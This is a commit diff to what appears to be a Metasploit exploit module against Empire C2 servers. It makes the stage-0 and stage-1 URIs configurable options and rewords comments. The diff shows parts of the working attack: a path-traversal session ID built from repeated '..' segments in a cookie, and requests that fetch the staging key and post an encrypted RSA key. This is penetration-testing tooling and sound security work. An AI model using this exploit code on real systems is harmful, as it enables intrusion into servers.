moved STAGE0 and STAGE1 into datastore

Author: wolfthefallen

modules/exploits/linux/http/empire_skywalker.rb

@@ -52,6 +52,8 @@ def initialize(info = {})
       [
         Opt::RPORT(8080),
         OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
+        OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
+        OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
         OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
       ], self.class)
   end
@@ -113,11 +115,12 @@ def rsa_key_to_xml(rsa_key)
   end
 
   def get_staging_key
-    # empire STAGE0_URI index.asp
+    # STAGE0_URI resource requested by the initial launcher
+    # The default STAGE0_URI resource is index.asp
     # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
     res = send_request_cgi({
       'method'    => 'GET',
-      'uri'       => normalize_uri(target_uri.path, 'index.asp')
+      'uri'       => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
     })
     return unless res and res.code == 200
 
@@ -193,13 +196,14 @@ def exploit
 
     rsa_key = OpenSSL::PKey::RSA.new(2048)
     session_id = Array.new(50, '..').join('/')
-    # empire STAGE1_URI index.asp
+    # STAGE1_URI, The resource used by the RSA key post
+    # The default STAGE1_URI resource is index.jsp
     # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
     res = send_request_cgi({
       'cookie'    => "SESSIONID=#{session_id}",
       'data'      => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
       'method'    => 'POST',
-      'uri'       => normalize_uri(target_uri.path, 'index.jsp')
+      'uri'       => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
     })
     fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
     vprint_status("Successfully sent the RSA key")